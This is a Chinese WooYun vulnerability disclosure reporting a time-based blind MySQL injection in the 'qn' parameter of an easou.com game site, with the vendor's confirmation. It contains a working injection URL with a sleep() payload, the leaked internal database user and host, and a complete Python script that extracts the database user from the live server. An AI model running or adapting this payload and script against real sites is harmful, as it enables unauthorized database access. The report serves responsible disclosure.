当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087520

漏洞标题:宜搜又一站点MySQL注射(附验证脚本)

相关厂商:easou.com

漏洞作者: lijiejie

提交时间:2014-12-17 18:17

修复时间:2015-01-31 18:18

公开时间:2015-01-31 18:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-17: 细节已通知厂商并且等待厂商处理中
2014-12-17: 厂商已经确认,细节仅向厂商公开
2014-12-27: 细节向核心白帽子及相关领域专家公开
2015-01-06: 细节向普通白帽子公开
2015-01-16: 细节向实习白帽子公开
2015-01-31: 细节向公众公开

简要描述:

宜搜又一站点MySQL注射,附验证脚本

详细说明:

注入点:

http://wan.easou.com/gd.e?esid=S4xeHtXqF0k&fr=33.1.3.2.1.1630&gameId=1630&onlineCount=8912&qn=aaaaaa'%2b(select(0)from(select(sleep(if(length(user())=21,5,0))))v)%2b'bbbbb&v=2.0&wver=t


参数qn可注入。MySQL time blind。

漏洞证明:

猜解user(),得到:

youxi123@10.23.36.28


easou_mysqli.png


验证脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection('wan.easou.com', timeout=5)
rand_num = str(random.random())
s = "%saa'+(select(0)from(select(sleep(if(ascii(mid(user(),%s,1))=%s,5,0))))v)+'bb" % (rand_num, i, ord(payload))
conn.request(method='GET',
url='/gd.e?esid=S4xeHtXqF0k&fr=33.1.3.2.1.1630&gameId=1630&onlineCount=8912&v=2.0&wver=t&qn=' + urllib.quote(s),
body = "do=1&username=admin&password=" + urllib.quote(s),
headers = headers)
resp = conn.getresponse()
resp.read()
conn.close()
if resp.status == 502:
raise Exception('ooooooooops')
print '.',
except Exception, e:
user += payload
print '\n[in progress]', user
break
print '\nMySQL user is', user

修复方案:

过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-17 18:21

厂商回复:

谢谢指出,我们会及时改正

最新状态:

暂无